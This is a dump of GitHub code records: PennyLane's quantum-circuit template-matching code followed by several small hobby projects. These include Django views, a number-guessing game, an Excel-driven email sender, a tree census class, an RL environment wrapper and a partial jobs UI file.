node_pattern.op.name\n ):\n continue\n # Compare two operations\n if _compare_operation_without_qubits(node_circuit, node_pattern):\n if _compare_qubits(\n node_circuit,\n wires1,\n control_wires1,\n target_wires1,\n wires2,\n control_wires2,\n target_wires2,\n ):\n # A match happens.\n # If there is a match the attributes are copied.\n circuit_matched_match = circuit_matched.copy()\n circuit_blocked_match = circuit_blocked.copy()\n\n pattern_matched_match = pattern_matched.copy()\n pattern_blocked_match = pattern_blocked.copy()\n\n matches_scenario_match = matches_scenario.copy()\n\n block_list = []\n broken_matches_match = []\n\n # Loop to check if the match is not connected, in this case\n # the successors matches are blocked and unmatched.\n for potential_block in self.pattern_dag.successors(pattern_id):\n if not pattern_matched_match[potential_block]:\n pattern_blocked_match[potential_block] = True\n block_list.append(potential_block)\n for block_id in block_list:\n for succ_id in self.pattern_dag.successors(block_id):\n pattern_blocked_match[succ_id] = True\n if pattern_matched_match[succ_id]:\n new_id = pattern_matched_match[succ_id][0]\n circuit_matched_match[new_id] = []\n pattern_matched_match[succ_id] = []\n broken_matches_match.append(succ_id)\n\n if broken_matches_match:\n global_broken.append(True)\n else:\n global_broken.append(False)\n\n new_matches_scenario_match = [\n elem\n for elem in matches_scenario_match\n if elem[0] not in broken_matches_match\n ]\n\n condition = True\n\n for back_match in match_backward:\n if back_match not in new_matches_scenario_match: # pragma: no cover\n condition = False\n break\n\n # First option greedy match.\n if ([self.node_id_p, self.node_id_c] in new_matches_scenario_match) and (\n condition or not match_backward\n ):\n pattern_matched_match[pattern_id] = [circuit_id]\n circuit_matched_match[circuit_id] = [pattern_id]\n new_matches_scenario_match.append([pattern_id, circuit_id])\n\n new_matching_scenario = MatchingScenarios(\n circuit_matched_match,\n circuit_blocked_match,\n pattern_matched_match,\n pattern_blocked_match,\n new_matches_scenario_match,\n counter_scenario + 1,\n )\n self.matching_list.append_scenario(new_matching_scenario)\n\n global_match = True\n\n if global_match:\n circuit_matched_block_s = circuit_matched.copy()\n circuit_blocked_block_s = circuit_blocked.copy()\n\n pattern_matched_block_s = pattern_matched.copy()\n pattern_blocked_block_s = pattern_blocked.copy()\n\n matches_scenario_block_s = matches_scenario.copy()\n\n circuit_blocked_block_s[circuit_id] = True\n\n broken_matches = []\n\n # Second option, not a greedy match, block all successors (push the gate\n # to the right).\n for succ in self.circuit_dag.get_node(circuit_id).successors:\n circuit_blocked_block_s[succ] = True\n if circuit_matched_block_s[succ]:\n broken_matches.append(succ)\n new_id = circuit_matched_block_s[succ][0]\n pattern_matched_block_s[new_id] = []\n circuit_matched_block_s[succ] = []\n\n new_matches_scenario_block_s = [\n elem for elem in matches_scenario_block_s if elem[1] not in broken_matches\n ]\n\n condition_not_greedy = True\n\n for back_match in match_backward:\n if back_match not in new_matches_scenario_block_s:\n condition_not_greedy = False\n break\n\n if ([self.node_id_p, self.node_id_c] in new_matches_scenario_block_s) and (\n condition_not_greedy or not match_backward\n ):\n new_matching_scenario = MatchingScenarios(\n circuit_matched_block_s,\n circuit_blocked_block_s,\n pattern_matched_block_s,\n pattern_blocked_block_s,\n new_matches_scenario_block_s,\n counter_scenario + 1,\n )\n self.matching_list.append_scenario(new_matching_scenario)\n\n # Third option: if blocking the succesors breaks a match, we consider\n # also the possibility to block all predecessors (push the gate to the left).\n if broken_matches and all(global_broken):\n circuit_matched_block_p = circuit_matched.copy()\n circuit_blocked_block_p = circuit_blocked.copy()\n\n pattern_matched_block_p = pattern_matched.copy()\n pattern_blocked_block_p = pattern_blocked.copy()\n\n matches_scenario_block_p = matches_scenario.copy()\n\n circuit_blocked_block_p[circuit_id] = True\n\n for pred in self.circuit_dag.get_node(circuit_id).predecessors:\n circuit_blocked_block_p[pred] = True\n\n matching_scenario = MatchingScenarios(\n circuit_matched_block_p,\n circuit_blocked_block_p,\n pattern_matched_block_p,\n pattern_blocked_block_p,\n matches_scenario_block_p,\n counter_scenario + 1,\n )\n self.matching_list.append_scenario(matching_scenario)\n\n # If there is no match then there are three options.\n if not global_match:\n circuit_blocked[circuit_id] = True\n\n following_matches = []\n\n successors = self.circuit_dag.get_node(circuit_id).successors\n for succ in successors:\n if circuit_matched[succ]:\n following_matches.append(succ)\n\n # First option, the circuit gate is not disturbing because there are no\n # following match and no predecessors.\n predecessors = self.circuit_dag.get_node(circuit_id).predecessors\n\n if not predecessors or not following_matches:\n matching_scenario = MatchingScenarios(\n circuit_matched,\n circuit_blocked,\n pattern_matched,\n pattern_blocked,\n matches_scenario,\n counter_scenario + 1,\n )\n self.matching_list.append_scenario(matching_scenario)\n\n else:\n circuit_matched_nomatch = circuit_matched.copy()\n circuit_blocked_nomatch = circuit_blocked.copy()\n\n pattern_matched_nomatch = pattern_matched.copy()\n pattern_blocked_nomatch = pattern_blocked.copy()\n\n matches_scenario_nomatch = matches_scenario.copy()\n\n # Second option, all predecessors are blocked (circuit gate is\n # moved to the left).\n for pred in predecessors:\n circuit_blocked[pred] = True\n\n matching_scenario = MatchingScenarios(\n circuit_matched,\n circuit_blocked,\n pattern_matched,\n pattern_blocked,\n matches_scenario,\n counter_scenario + 1,\n )\n self.matching_list.append_scenario(matching_scenario)\n\n # Third option, all successors are blocked (circuit gate is\n # moved to the right).\n\n broken_matches = []\n\n successors = self.circuit_dag.get_node(circuit_id).successors\n\n for succ in successors:\n circuit_blocked_nomatch[succ] = True\n if circuit_matched_nomatch[succ]:\n broken_matches.append(succ)\n circuit_matched_nomatch[succ] = []\n\n new_matches_scenario_nomatch = [\n elem for elem in matches_scenario_nomatch if elem[1] not in broken_matches\n ]\n\n condition_block = True\n\n for back_match in match_backward:\n if back_match not in new_matches_scenario_nomatch:\n condition_block = False\n break\n\n if ([self.node_id_p, self.node_id_c] in matches_scenario_nomatch) and (\n condition_block or not match_backward\n ):\n new_matching_scenario = MatchingScenarios(\n circuit_matched_nomatch,\n circuit_blocked_nomatch,\n pattern_matched_nomatch,\n pattern_blocked_nomatch,\n new_matches_scenario_nomatch,\n counter_scenario + 1,\n )\n self.matching_list.append_scenario(new_matching_scenario)\n\n length = max(len(m.match) for m in match_store_list)\n\n # Store the matches with maximal length.\n for scenario in match_store_list:\n if (len(scenario.match) == length) and not any(\n scenario.match == x.match for x in self.match_final\n ):\n self.match_final.append(scenario)\n\n\ndef _gate_indices(circuit_matched, circuit_blocked):\n \"\"\"Function which returns the list of gates that are not matched and not blocked for the first scenario.\n Returns:\n list(int): list of gate id.\n \"\"\"\n gate_indices = []\n\n for i, (matched, blocked) in enumerate(zip(circuit_matched, circuit_blocked)):\n if (not matched) and (not blocked):\n gate_indices.append(i)\n gate_indices.reverse()\n return gate_indices\n\n\nclass MaximalMatches: # pylint: disable=too-few-public-methods\n \"\"\"\n Class MaximalMatches allows to sort and store the maximal matches from the list\n of matches obtained with the pattern matching algorithm.\n \"\"\"\n\n def __init__(self, pattern_matches):\n \"\"\"Initialize MaximalMatches with the necessary arguments.\n Args:\n pattern_matches (list): list of matches obtained from running the algorithm.\n \"\"\"\n self.pattern_matches = pattern_matches\n\n self.max_match_list = []\n\n def run_maximal_matches(self):\n \"\"\"Method that extracts and stores maximal matches in decreasing length order.\"\"\"\n\n self.max_match_list = [\n Match(\n sorted(self.pattern_matches[0].match),\n self.pattern_matches[0].qubit,\n )\n ]\n\n for matches in self.pattern_matches[1::]:\n present = False\n for max_match in self.max_match_list:\n for elem in matches.match:\n if elem in max_match.match and len(matches.match) <= len(max_match.match):\n present = True\n if not present:\n self.max_match_list.append(Match(sorted(matches.match), matches.qubit))\n\n\nclass SubstitutionConfig: # pylint: disable=too-many-arguments, too-few-public-methods\n \"\"\"Class to store the configuration of a given match substitution, which circuit gates, template gates,\n qubits and predecessors of the match in the circuit.\n \"\"\"\n\n def __init__(\n self,\n circuit_config,\n template_config,\n pred_block,\n qubit_config,\n template_dag,\n ):\n self.template_dag = template_dag\n self.circuit_config = circuit_config\n self.template_config = template_config\n self.qubit_config = qubit_config\n self.pred_block = pred_block\n\n\nclass TemplateSubstitution: # pylint: disable=too-few-public-methods\n \"\"\"Class to run the substitution algorithm from the list of maximal matches.\"\"\"\n\n def __init__(self, max_matches, circuit_dag, template_dag, custom_quantum_cost=None):\n \"\"\"\n Initialize TemplateSubstitution with necessary arguments.\n Args:\n max_matches (list(int)): list of maximal matches obtained from the running the pattern matching algorithm.\n circuit_dag (.CommutationDAG): circuit in the dag dependency form.\n template_dag (.CommutationDAG): template in the dag dependency form.\n custom_quantum_cost (dict): Optional, quantum cost that overrides the default cost dictionnary.\n \"\"\"\n\n self.match_stack = max_matches\n self.circuit_dag = circuit_dag\n self.template_dag = template_dag\n\n self.substitution_list = []\n self.unmatched_list = []\n\n if custom_quantum_cost is not None:\n self.quantum_cost = dict(custom_quantum_cost)\n else:\n self.quantum_cost = {\n \"Identity\": 0,\n \"PauliX\": 1,\n \"PauliY\": 1,\n \"PauliZ\": 1,\n \"RX\": 1,\n \"RY\": 1,\n \"RZ\": 1,\n \"Hadamard\": 1,\n \"T\": 1,\n \"Adjoint(T)\": 1,\n \"S\": 1,\n \"Adjoint(S)\": 1,\n \"CNOT\": 2,\n \"CZ\": 4,\n \"SWAP\": 6,\n \"CSWAP\": 63,\n \"Toffoli\": 21,\n }\n\n def _pred_block(self, circuit_sublist, index):\n \"\"\"It returns the predecessors of a given part of the circuit.\n Args:\n circuit_sublist (list): list of the gates matched in the circuit.\n index (int): Index of the group of matches.\n Returns:\n list: List of predecessors of the current match circuit configuration.\n \"\"\"\n predecessors = set()\n for node_id in circuit_sublist:\n predecessors = predecessors | set(self.circuit_dag.get_node(node_id).predecessors)\n\n exclude = set()\n for elem in self.substitution_list[:index]:\n exclude = exclude | set(elem.circuit_config) | set(elem.pred_block)\n\n pred = list(predecessors - set(circuit_sublist) - exclude)\n pred.sort()\n\n return pred\n\n def _quantum_cost(self, left, right):\n \"\"\"Compare the two parts of the template and returns True if the quantum cost is reduced.\n Args:\n left (list): list of matched nodes in the template.\n right (list): list of nodes to be replaced.\n Returns:\n bool: True if the quantum cost is reduced\n \"\"\"\n cost_left = 0\n for i in left:\n cost_left += self.quantum_cost[self.template_dag.get_node(i).op.name]\n\n cost_right = 0\n for j in right:\n cost_right += self.quantum_cost[self.template_dag.get_node(j).op.name]\n\n return cost_left > cost_right\n\n def _rules(self, circuit_sublist, template_sublist, template_complement):\n \"\"\"Set of rules to decide whether the match is to be substitute or not.\n Args:\n circuit_sublist (list): list of the gates matched in the circuit.\n template_sublist (list): list of matched nodes in the template.\n template_complement (list): list of gates not matched in the template.\n Returns:\n bool: True if the match respects the given rule for replacement, False otherwise.\n \"\"\"\n\n if self._quantum_cost(template_sublist, template_complement):\n for elem in circuit_sublist:\n for config in self.substitution_list:\n if any(elem == x for x in config.circuit_config):\n return False\n return True\n return False\n\n def _template_inverse(self, template_list, template_sublist, template_complement):\n \"\"\"The template circuit realizes the identity operator, then given the list of matches in the template,\n it returns the inverse part of the template that will be replaced.\n Args:\n template_list (list): list of all gates in the template.\n template_sublist (list): list of the gates matched in the circuit.\n template_complement (list): list of gates not matched in the template.\n Returns:\n list(int): the template inverse part that will substitute the circuit match.\n \"\"\"\n inverse = template_complement\n left = []\n right = []\n\n pred = set()\n for index in template_sublist:\n pred = pred | set(self.template_dag.get_node(index).predecessors)\n pred = list(pred - set(template_sublist))\n\n succ = set()\n for index in template_sublist:\n succ = succ | set(self.template_dag.get_node(index).successors)\n succ = list(succ - set(template_sublist))\n\n comm = list(set(template_list) - set(pred) - set(succ))\n\n for elem in inverse:\n if elem in pred:\n left.append(elem)\n elif elem in succ:\n right.append(elem)\n elif elem in comm:\n right.append(elem)\n\n left.sort()\n right.sort()\n\n left.reverse()\n right.reverse()\n\n total = left + right\n return total\n\n def _substitution_sort(self):\n \"\"\"Sort the substitution list.\"\"\"\n ordered = False\n while not ordered:\n ordered = self._permutation()\n\n def _permutation(self): # pragma: no cover\n \"\"\"Permute two groups of matches if first one has predecessors in the second one.\n Returns:\n bool: True if the matches groups are in the right order, False otherwise.\n \"\"\"\n for scenario in self.substitution_list:\n predecessors = set()\n for match in scenario.circuit_config:\n predecessors = predecessors | set(self.circuit_dag.get_node(match).predecessors)\n predecessors = predecessors - set(scenario.circuit_config)\n index = self.substitution_list.index(scenario)\n for scenario_b in self.substitution_list[index::]:\n if set(scenario_b.circuit_config) & predecessors:\n index1 = self.substitution_list.index(scenario)\n index2 = self.substitution_list.index(scenario_b)\n\n scenario_pop = self.substitution_list.pop(index2)\n self.substitution_list.insert(index1, scenario_pop)\n return False\n return True\n\n def _remove_impossible(self): # pragma: no cover\n \"\"\"Remove matched groups if they both have predecessors in the other one, they are not compatible.\"\"\"\n list_predecessors = []\n remove_list = []\n\n # Initialize predecessors for each group of matches.\n for scenario in self.substitution_list:\n predecessors = set()\n for index in scenario.circuit_config:\n predecessors = predecessors | set(self.circuit_dag.get_node(index).predecessors)\n list_predecessors.append(predecessors)\n\n # Check if two groups of matches are incompatible.\n for scenario_a in self.substitution_list:\n if scenario_a in remove_list:\n continue\n index_a = self.substitution_list.index(scenario_a)\n circuit_a = scenario_a.circuit_config\n for scenario_b in self.substitution_list[index_a + 1 : :]:\n if scenario_b in remove_list:\n continue\n index_b = self.substitution_list.index(scenario_b)\n circuit_b = scenario_b.circuit_config\n if (set(circuit_a) & list_predecessors[index_b]) and (\n set(circuit_b) & list_predecessors[index_a]\n ):\n remove_list.append(scenario_b)\n\n # Remove the incompatible groups from the list.\n if remove_list:\n self.substitution_list = [\n scenario for scenario in self.substitution_list if scenario not in remove_list\n ]\n\n def substitution(self):\n \"\"\"From the list of maximal matches, it chooses which one will be used and gives the necessary details for\n each substitution(template inverse, predecessors of the match).\n \"\"\"\n\n while self.match_stack:\n # Get the first match scenario of the list\n current = self.match_stack.pop(0)\n\n current_match = current.match\n current_qubit = current.qubit\n\n template_sublist = [x[0] for x in current_match]\n circuit_sublist = [x[1] for x in current_match]\n circuit_sublist.sort()\n\n template_list = range(0, self.template_dag.size)\n template_complement = list(set(template_list) - set(template_sublist))\n\n # If the match obey the rule then it is added to the list.\n if self._rules(circuit_sublist, template_sublist, template_complement):\n template_sublist_inverse = self._template_inverse(\n template_list, template_sublist, template_complement\n )\n\n config = SubstitutionConfig(\n circuit_sublist,\n template_sublist_inverse,\n [],\n current_qubit,\n self.template_dag,\n )\n self.substitution_list.append(config)\n\n # Remove incompatible matches.\n self._remove_impossible()\n\n # First sort the matches according to the smallest index in the matches (circuit).\n self.substitution_list.sort(key=lambda x: x.circuit_config[0])\n\n # Change position of the groups due to predecessors of other groups.\n self._substitution_sort()\n\n for scenario in self.substitution_list:\n index = self.substitution_list.index(scenario)\n scenario.pred_block = self._pred_block(scenario.circuit_config, index)\n\n circuit_list = []\n for elem in self.substitution_list:\n circuit_list = circuit_list + elem.circuit_config + elem.pred_block\n\n # Unmatched gates that are not predecessors of any group of matches.\n self.unmatched_list = sorted(list(set(range(0, self.circuit_dag.size)) - set(circuit_list)))\n","repo_name":"PennyLaneAI/pennylane","sub_path":"pennylane/transforms/optimization/pattern_matching.py","file_name":"pattern_matching.py","file_ext":"py","file_size_in_byte":69970,"program_lang":"python","lang":"en","doc_type":"code","stars":1965,"dataset":"github-code","pt":"52"} +{"seq_id":"41209496729","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth import login\nfrom django.db.models import Q\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.views.generic.edit import CreateView, UpdateView, DeleteView\nfrom django.views.generic import ListView, DetailView\nfrom .models import Resource, User, Comment, Topic\nfrom datetime import date\nfrom .forms import CommentForm\nfrom opengraph import OpenGraph\n\ndef home(request):\n return render(request, 'home.html')\n\ndef resources_index(request):\n resources = Resource.objects.all()\n topics = Topic.objects.all()\n return render(request, 'resources/index.html', {'resources': resources, 'topics': topics})\n\n@login_required\ndef assoc_topic(request, resource_id, topic_id):\n Resource.objects.get(id=resource_id).topic.add(topic_id)\n return redirect('detail', resource_id=resource_id)\n\n@login_required\ndef unassoc_topic(request, resource_id, topic_id):\n Resource.objects.get(id=resource_id).topic.remove(topic_id)\n return redirect('detail', resource_id=resource_id)\n\ndef resources_detail(request, resource_id):\n resource = Resource.objects.get(id=resource_id)\n topics = Topic.objects.exclude(id__in = resource.topic.all().values_list('id'))\n form = CommentForm\n comments = Comment.objects.filter(resource=resource_id)\n return render(request, 'resources/detail.html', {'resource': resource, 'comments': comments, 'form': form, 'topics': topics})\n\n@login_required\ndef add_comment(request, resource_id):\n form = CommentForm(request.POST)\n \n if form.is_valid():\n new_comment = form.save(commit=False)\n new_comment.resource_id = resource_id\n new_comment.user = request.user\n new_comment.date = date.today()\n new_comment.save()\n return redirect('detail', resource_id=resource_id)\n\ndef signup(request):\n error_message = ''\n if request.method == 'POST':\n form = UserCreationForm(request.POST)\n if form.is_valid():\n user = form.save()\n login(request, user)\n return redirect('index')\n else:\n error_message = 'Invalid sign up - try again!'\n form = UserCreationForm()\n context = {\n 'form': form,\n 'error_message': error_message\n }\n return render(request, 'registration/signup.html', context)\n\nclass ResourceCreate(CreateView, LoginRequiredMixin):\n model = Resource\n fields = ['description', 'url']\n def form_valid(self, form):\n if 'http' not in form.instance.url:\n form.instance.url = 'https://' + form.instance.url\n else:\n form.instance.url = form.instance.url\n og = OpenGraph(form.instance.url)\n form.instance.date = date.today()\n form.instance.og_title = og.title if 'title' in og else ''\n form.instance.og_description = og.description if 'description' in og else ''\n form.instance.og_image = og.image if 'image' in og else ''\n form.instance.og_type = '' if not 'type' in og else og.type\n form.instance.user = self.request.user\n return super().form_valid(form)\n \nclass ResourceUpdate(UpdateView, LoginRequiredMixin):\n model = Resource\n fields = ['description', 'url']\n \nclass ResourceDelete(DeleteView, LoginRequiredMixin):\n model = Resource\n success_url = '/resources/'\n\nclass TopicCreate(CreateView, LoginRequiredMixin):\n model = Topic\n fields = ['name']\n success_url = '/topics/create/'\n \n def form_valid(self, form):\n form.instance.name = form.instance.name.lower()\n return super().form_valid(form)\n \n def get_context_data(self, **kwargs):\n topics = Topic.objects.all()\n context = super().get_context_data()\n context['topics'] = topics\n return context\n\nclass TopicDelete(DeleteView, LoginRequiredMixin):\n model = Topic\n success_url = '/resources/'\n\ndef topics_index(request):\n topics = Topic.objects.all()\n return render(request, 'resources/topics_index.html', {'topics': topics})\n\ndef search(request):\n if request.method == 'POST':\n search = request.POST.get('search', None).lower()\n search_list = []\n if ',' in search:\n temp_search = search.split(',')\n else:\n temp_search = [search]\n for element in temp_search:\n search_list.append(element.strip())\n id_list = []\n for item in search_list:\n topic = Topic.objects.filter(name=item.lower()).values_list('id', flat=True)\n if topic.exists():\n for item in topic:\n id_list.append(item)\n resources = Resource.objects.filter(topic__in=id_list).distinct()\n return render(request, 'resources/index.html', {'resources': resources})","repo_name":"jfernnn/Issues-That-Matter","sub_path":"main_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"2026558517","text":"import random\r\ntop_of_range = input(\"Type a number: \")\r\ntries = 0\r\nif top_of_range.isdigit():\r\n top_of_range = int(top_of_range)\r\n if top_of_range <= 0:\r\n print(\"Please type a number larger than 0\")\r\n quit()\r\nelse:\r\n print(\"Please type a digit\")\r\n quit()\r\nrandom_number = random.randrange(0, top_of_range)\r\nuser_guess = input(\"Make a guess of number lower than \" + str(top_of_range) + \" :\")\r\nif user_guess.isdigit():\r\n user_guess = int(user_guess)\r\nelse:\r\n print(\"Please type a digit\")\r\n quit()\r\nif user_guess == random_number:\r\n print(\"You got it!\")\r\n quit()\r\nelif user_guess < random_number:\r\n print(\"its higher than \" + str(user_guess))\r\n tries += 1\r\nelse:\r\n print(\"its lower than \" + str(user_guess)) \r\n tries += 1\r\nwhile True:\r\n user_guess = input(\"Again make a guess:\")\r\n if user_guess.isdigit():\r\n user_guess = int(user_guess)\r\n else:\r\n print(\"Please type a digit\")\r\n continue\r\n if user_guess == random_number:\r\n print(\"You got it in \" + str(tries) + \" tries\")\r\n quit()\r\n elif user_guess < random_number:\r\n print(\"its higher than \" + str(user_guess))\r\n tries += 1\r\n else:\r\n print(\"its lower than \" + str(user_guess)) \r\n tries += 1\r\n ","repo_name":"Asadullah66/Practice","sub_path":"number_guesser.py","file_name":"number_guesser.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"74412352805","text":"import json\n\nmetadata = {\n 'outputs': [{\n 'type': 'web-app',\n 'storage': 'inline',\n 'source': '

    Kubeflow pipelines are reusable end-to-end ML workflows built using the Kubeflow Pipelines SDK.

    ',\n }]\n}\n\nwith open('/mlpipeline-ui-metadata.json', 'w') as f:\n json.dump(metadata, f)\n","repo_name":"kangwoo/kubeflow-introduction","sub_path":"08-pipelines/visualization/output_viewer/webapp/src/webapp_inline.py","file_name":"webapp_inline.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"47926604178","text":"import smtplib\nimport os\nimport pandas as pd\nimport openpyxl\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom email.mime.base import MIMEBase\nfrom email import encoders\n\nsender_address = \"Your Email Address Here\"\nsender_password = \"Your Email Password here\"\n\nreciver_address = []\nstudent_name = []\nstudent_email_list =[]\nstudent_registration_number = []\nstudent_mobile_number =[]\nstudent_organization = []\ninternship_start_list = []\n\ndef gettingALlEmailsFromExcelSheet():\n print(\"Sending Emails ...\")\n os.getcwd()\n os.chdir(r\"Excel file path\")\n file = 'ExcelFile_input_1.xlsx'\n data = pd.ExcelFile(file)\n df = data.parse('Input File 2')\n df.head(10)\n\n ps = openpyxl.load_workbook('ExcelFile_input_1.xlsx')\n sheet = ps['Input File 2']\n\n for row in range(5, sheet.max_row + 1):\n email = sheet['P' + str(row)].value\n student_email = sheet['D' + str(row)].value\n name = sheet['B' + str(row)].value\n mobile_no = sheet['C' + str(row)].value\n registration_number = sheet['E' + str(row)].value\n orgainzation = sheet['J' + str(row)].value\n Int_date = sheet['H' + str(row)].value\n\n reciver_address.append(email)\n student_email_list.append(student_email)\n student_registration_number.append(registration_number)\n student_mobile_number.append(mobile_no)\n student_organization.append(orgainzation)\n internship_start_list.append(Int_date)\n student_name.append(name)\n\ndef sendingEmails():\n ind = 0\n for var in reciver_address:\n message = MIMEMultipart()\n message2 = MIMEMultipart()\n message['From'] = sender_address\n message['To'] = var\n message['Subject'] = \"FeedBack Form\"\n\n attatchment_file_name = \"FeedbackForm.pdf\"\n\n attatch_file = open(attatchment_file_name, 'rb')\n payload = MIMEBase('application', 'octate-stream')\n\n payload.set_payload(attatch_file.read())\n\n encoders.encode_base64(payload)\n payload.add_header('Content-Disposition', f'attatchment; filename={attatchment_file_name} ')\n message.attach(payload)\n\n message.attach(MIMEText(\"Student Name :\" + student_name[ind] + \" \"))\n message.attach(MIMEText(\"Student Registration number :\" +student_registration_number[ind] + \" \"))\n message.attach(MIMEText(\"Student Mobile Number :\" + str(student_mobile_number[ind]) + \" \"))\n message.attach(MIMEText(\"Student Email Id :\" + student_email_list[ind] + \" \"))\n message.attach(MIMEText(\"Internship Start Date :\" + str(internship_start_list[ind]) + \" \"))\n message.attach(MIMEText(\"Organization :\" + str(student_organization[ind]) + \" \"))\n\n\n session = smtplib.SMTP('smtp.gmail.com', 587)\n session.starttls()\n session.login(sender_address, sender_password)\n text = message.as_string()\n session.sendmail(sender_address, var, text )\n session.quit()\n print(str(ind+1) + ' mail sent' )\n\n ind += 1\n\n print(\"All the emails sent successfully !\")\n\ngettingALlEmailsFromExcelSheet()\nsendingEmails()\n","repo_name":"Arin0402/Feedback-Process-Automation-Bot","sub_path":"BOT-1.py","file_name":"BOT-1.py","file_ext":"py","file_size_in_byte":3161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"30526922912","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\ndef wait():\n import sys\n ch = [\"|\", \"/\", \"-\", \"\\\\\"]\n def f():\n i = 0\n while True:\n yield ch[i]\n i += 1\n if i == len(ch):\n i = 0\n w = f()\n def p():\n sys.stdout.write(next(w)+\"\\b\")\n return p\n\ndef fuck(oracle, c, e, n):\n w = wait()\n l = 0\n r = n\n while l != r:\n c = (pow(2, e, n) * c) % n\n if oracle(c) & 1:\n l = (l + r) // 2\n else:\n r = (l + r) // 2\n w()\n return l, r\n\ndef fix(l, c, e, n):\n for i in range(-128, 128):\n if pow(l+i, e, n) == c:\n return l+i\n return None\n\nif __name__ == \"__main__\":\n import re\n import binascii\n from pwn import *\n\n p = process([\"python2\", \"./backdoor_ctf_2018_bit_leaker/service.py\"])\n\n def oracle(c):\n flag = 0\n for i in range(10):\n p.sendline(str(c))\n s = p.recv()\n if int(re.findall(b\"l\\s*=\\s*([0-9]*)\", s)[0]) & 1:\n flag = 1\n return flag\n\n ss = p.recv()\n N = int(re.findall(b\"N\\s*=\\s*(\\d+)\", ss)[0])\n e = int(re.findall(b\"e\\s*=\\s*(\\d+)\", ss)[0])\n c = int(re.findall(b\"c\\s*=\\s*(\\d+)\", ss)[0])\n print(\"N =\", N)\n print(\"e =\", e)\n print(\"c =\", c)\n\n l, r = fuck(oracle, c, e, N)\n\n print(\"l = \" + hex(l))\n print(\"r = \" + hex(r))\n\n l = fix(l, c, e, N)\n if not l:\n l = r\n print(\"result:\", binascii.unhexlify(hex(l)[2:]))\n","repo_name":"maoyouxiao/rsa_lsb_oracle","sub_path":"rsa_lsb_oracle.py","file_name":"rsa_lsb_oracle.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"36956076706","text":"\ncount=0\ntrees=[]\n\n\nclass Tree():\n\n\tdef __init__(self,species_name,region,height,age):\n\t\tself.species_name=species_name\n\t\tself.region=region\n\t\tself.height=float(height)\n\t\tself.age=float(age)\n\t\tself.reason=\"\"\n\t\tcount=count+1\t\n\n\n\tdef update_census(self,age,reason,height):\n\t\tself.age=age\n\t\tself.reason=reason\n\t\tself.height=height\n\t\tif self.reason==\"Cut Down\":\n\t\t\tcount=count-1\n\n\n\t\t\n\n\nclass Employees(Tree):\n\n\tdef __init__(self,name,gender):\n\t\tself.name=name\n\t\tself.gender=gender\n\t\n\tdef add_tree():\n\t\tspecies_name=input(\"Enter The Species Name:\")\n\t\tregion=input(\"Enter The Region To Be Considered:\")\n\t\theight=float(input(\"Enter The Height Of The Tree In Meters:\"))\n\t\tage=float(input(\"Enter The Age Of The Tree In Years:\"))\n\t\ttree= Tree(species_name,region,height,age)\n\t\ttrees.append(tree)\n\n\n\n","repo_name":"nuthanmr/Python-Projects","sub_path":"tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"71438695844","text":"import numpy as np\nimport torch\n\nclass TransformEnv:\n \"\"\"\n Wrap a gym environment to apply transforms to its state and reward outputs.\n \"\"\"\n def __init__(self, gym_env, state_transform=lambda x: x, reward_transform=lambda x: x):\n self.gym_env = gym_env\n self.state_transform = state_transform\n self.reward_transform = reward_transform\n self.reset()\n \n def step(self, action):\n state, reward, done, info = self.gym_env.step(action)\n state = self.state_transform(state)\n reward = self.reward_transform(reward)\n self.current_state = state\n return state, reward, done, info\n \n def render(self):\n self.gym_env.render()\n \n def reset(self):\n state = self.state_transform(self.gym_env.reset())\n self.current_state = state\n return state\n \n def available_actions(self):\n if hasattr(self.gym_env, \"available_actions\"):\n return self.gym_env.available_actions()\n if hasattr(self.gym_env, \"get_moves\"):\n return self.gym_env.get_moves()\n\ndef tic_tac_toe_state_transform(state):\n Os = (np.array(state[0]) == 1).astype(float)\n Xs = (np.array(state[0]) == 2).astype(float)\n state = np.hstack([Os, Xs])\n tensor = torch.tensor(state).float()\n return tensor\n\ndef c4_state_transform(state):\n state = [torch.from_numpy(board).float() for board in state]\n state = torch.cat(state)\n return state","repo_name":"lcsdn/RL-alphazero","sub_path":"RLcode/alphazero/env.py","file_name":"env.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"3751709315","text":"from enum import Enum, auto\nfrom fbs_runtime.application_context.PyQt5 import ApplicationContext\n\nfrom api import Api\nfrom util import job_input_check\n\nfrom interfaces.jobs import JobsUI, JobsAddViewUI, JobsControllerUI\nfrom interfaces.widgets import Question\n\n\nclass Jobs(JobsUI):\n def __init__(self, cxt: ApplicationContext, *args, **kwargs):\n super(Jobs, self).__init__(cxt, *args, **kwargs)\n\n self.cxt = cxt\n\n self.add_view = JobsAddView(self._to_controller_signal, self.cxt)\n self.controller = JobsController(self._to_add_view_signal, self.cxt)\n\n self.set_add_view(self.add_view)\n self.set_controller(self.controller)\n\n self.on_add_view_button_clicked()\n\n def _to_add_view(self):\n # self.add_view.reset()\n super()._to_add_view()\n\n def _to_controller(self):\n self.controller.reset()\n super()._to_controller()\n\n\nclass JobsAddView(JobsAddViewUI):\n def __init__(self, *args, **kwargs):\n super(JobsAddView, self).__init__(*args, **kwargs)\n\n # input data format: [job_id, workers, cores, memory, price, status, logs]\n def on_submit_clicked(self):\n\n if not self._submission_check():\n return\n\n workers_cnt = self.workers.text()\n cores_cnt = self.cores.text()\n memory_cnt = self.memory.text()\n source_files = self.source_file.text()\n input_files = self.input_file.text()\n expected_time = self.expect_time.text()\n price = \"0.005\"\n 